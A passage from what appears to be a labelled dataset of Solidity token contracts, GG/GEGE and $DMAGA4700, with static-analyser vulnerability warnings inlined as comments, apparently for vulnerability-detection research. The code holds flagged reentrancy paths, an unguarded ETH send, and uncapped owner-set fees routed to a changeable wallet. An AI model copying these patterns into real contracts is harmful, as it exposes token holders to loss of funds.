address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 866205d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a621b9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a621b9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 907db57\n\t\t// reentrancy-eth | ID: a621b9b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 907db57\n\t\t// unused-return | ID: 866205d\n\t\t// reentrancy-eth | ID: a621b9b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 907db57\n ccSender = uniswapV2Pair;\n\n\t\t// reentrancy-benign | ID: 907db57\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a621b9b\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10654.sol",
"size_bytes": 20970,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42cdd3c): GG.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 42cdd3c: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 45e8268\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 45e8268\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: a63ae27\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ncontract GG is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n address public constant deadAddress = address(0xdead);\n\n bool private swapping;\n\n address private marketingWallet;\n\n uint256 public maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n uint256 public maxSwapAmount;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 private launchedAt;\n\n uint256 private launchedTime;\n\n uint256 public blocks;\n\n uint256 public buyTotalFees;\n\n uint256 public sellTotalFees;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n mapping(uint256 => uint256) private blockSwaps;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event marketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42cdd3c): GG.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 42cdd3c: Rename the local variables that shadow another component.\n constructor() ERC20(\"GEGE\", \"GG\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 totalSupply = 1_000_000_000 * 1e18;\n\n maxTransactionAmount = 10_000_000 * 1e18;\n\n maxWallet = 10_000_000 * 1e18;\n\n swapTokensAtAmount = 100_000 * 1e18;\n\n maxSwapAmount = 5_000_000 * 1e18;\n\n marketingWallet = msg.sender;\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0741105): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0741105: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a70de08): GG.GeGesettrading(uint256) should emit an event for blocks = _blocks \n\t// Recommendation for a70de08: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d6e5c79): GG.GeGesettrading(uint256) ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d6e5c79: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9ff8328): GG.GeGesettrading(uint256) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9ff8328: Ensure that all the return values of the function calls are used.\n function GeGesettrading(uint256 _blocks) external payable onlyOwner {\n _approve(address(this), address(uniswapV2Router), totalSupply());\n\n\t\t// reentrancy-benign | ID: 0741105\n\t\t// unused-return | ID: 9ff8328\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0741105\n\t\t// unused-return | ID: d6e5c79\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0741105\n\t\t// events-maths | ID: a70de08\n blocks = _blocks;\n\n\t\t// reentrancy-benign | ID: 0741105\n tradingActive = true;\n\n\t\t// reentrancy-benign | ID: 0741105\n swapEnabled = true;\n\n\t\t// reentrancy-benign | ID: 0741105\n launchedAt = block.number;\n\n\t\t// reentrancy-benign | ID: 0741105\n launchedTime = block.timestamp;\n }\n\n function removelimits() external onlyOwner {\n limitsInEffect = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ccb1298): GG.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount * (10 ** 18) \n\t// Recommendation for ccb1298: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n\t\t// events-maths | ID: ccb1298\n swapTokensAtAmount = newAmount * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c648718): GG.updateMaxSwap(uint256) should emit an event for maxSwapAmount = newAmount * (10 ** 18) \n\t// Recommendation for c648718: Emit an event for critical parameter changes.\n function updateMaxSwap(uint256 newAmount) external onlyOwner {\n\t\t// events-maths | ID: c648718\n maxSwapAmount = newAmount * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 79522d4): GG.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 79522d4: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 79522d4\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a91fabe): GG.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for a91fabe: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: a91fabe\n maxWallet = newNum * (10 ** 18);\n }\n\n function whitelistContract(address _whitelist, bool isWL) public onlyOwner {\n _isExcludedMaxTransactionAmount[_whitelist] = isWL;\n\n _isExcludedFromFees[_whitelist] = isWL;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function manualswap(uint256 amount) external {\n require(_msgSender() == marketingWallet);\n\n require(\n amount <= balanceOf(address(this)) && amount > 0,\n \"Wrong amount\"\n );\n\n swapTokensForEth(amount);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: caf02f6): GG.manualsend() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for caf02f6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function manualsend() external {\n bool success;\n\n\t\t// arbitrary-send-eth | ID: caf02f6\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 60adc41): GG.updateBuyFees(uint256) should emit an event for buyTotalFees = _marketingFee \n\t// Recommendation for 60adc41: Emit an event for critical parameter changes.\n function updateBuyFees(uint256 _marketingFee) external onlyOwner {\n\t\t// events-maths | ID: 60adc41\n buyTotalFees = _marketingFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ac80a1c): GG.updateSellFees(uint256) should emit an event for sellTotalFees = _marketingFee \n\t// Recommendation for ac80a1c: Emit an event for critical parameter changes.\n function updateSellFees(uint256 _marketingFee) external onlyOwner {\n\t\t// events-maths | ID: ac80a1c\n sellTotalFees = _marketingFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 025af54): GG.updateFees(uint256,uint256) should emit an event for buyTotalFees = _buy sellTotalFees = _sell \n\t// Recommendation for 025af54: Emit an event for critical parameter changes.\n function updateFees(uint256 _buy, uint256 _sell) external onlyOwner {\n\t\t// events-maths | ID: 025af54\n buyTotalFees = _buy;\n\n\t\t// events-maths | ID: 025af54\n sellTotalFees = _sell;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ef9d41e): GG.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for ef9d41e: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: ef9d41e\n marketingWallet = newMarketingWallet;\n }\n\n function airdrop(\n address[] calldata addresses,\n uint256[] calldata amounts\n ) external {\n require(addresses.length > 0 && amounts.length == addresses.length);\n\n address from = msg.sender;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n _transfer(from, addresses[i], amounts[i] * (10 ** 18));\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a63ae27): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a63ae27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 45e8268): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 45e8268: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if ((launchedAt + blocks) >= block.number) {\n sellTotalFees = 5;\n\n buyTotalFees = 5;\n }\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (blockSwaps[block.number] < 3) {\n swapping = true;\n\n\t\t\t\t// reentrancy-events | ID: a63ae27\n\t\t\t\t// reentrancy-eth | ID: 45e8268\n swapBack();\n\n\t\t\t\t// reentrancy-eth | ID: 45e8268\n swapping = false;\n\n\t\t\t\t// reentrancy-eth | ID: 45e8268\n blockSwaps[block.number] = blockSwaps[block.number] + 1;\n }\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n fees = amount.mul(sellTotalFees).div(100);\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n fees = amount.mul(buyTotalFees).div(100);\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: a63ae27\n\t\t\t\t// reentrancy-eth | ID: 45e8268\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: a63ae27\n\t\t// reentrancy-eth | ID: 45e8268\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 37621a7): GG.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for 37621a7: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 8a80b8c): GG.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for 8a80b8c: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n\t\t// calls-loop | ID: 8a80b8c\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a63ae27\n\t\t// calls-loop | ID: 37621a7\n\t\t// reentrancy-eth | ID: 45e8268\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 3953914): GG.swapBack() has external calls inside a loop (success,None) = address(marketingWallet).call{value totalETH}()\n\t// Recommendation for 3953914: Favor pull over push strategy for external calls.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > maxSwapAmount) {\n contractBalance = maxSwapAmount;\n }\n\n uint256 amountToSwapForETH = contractBalance;\n\n swapTokensForEth(amountToSwapForETH);\n\n uint256 totalETH = address(this).balance;\n\n\t\t// reentrancy-events | ID: a63ae27\n\t\t// calls-loop | ID: 3953914\n\t\t// reentrancy-eth | ID: 45e8268\n (success, ) = address(marketingWallet).call{value: totalETH}(\"\");\n }\n}\n",
"file_name": "solidity_code_10655.sol",
"size_bytes": 30237,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract $DMAGA4700 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 219872c): $DMAGA4700._taxWallet should be immutable \n\t// Recommendation for 219872c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd07d89): $DMAGA4700._initialBuyTax should be constant \n\t// Recommendation for fd07d89: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 955a5c8): $DMAGA4700._initialSellTax should be 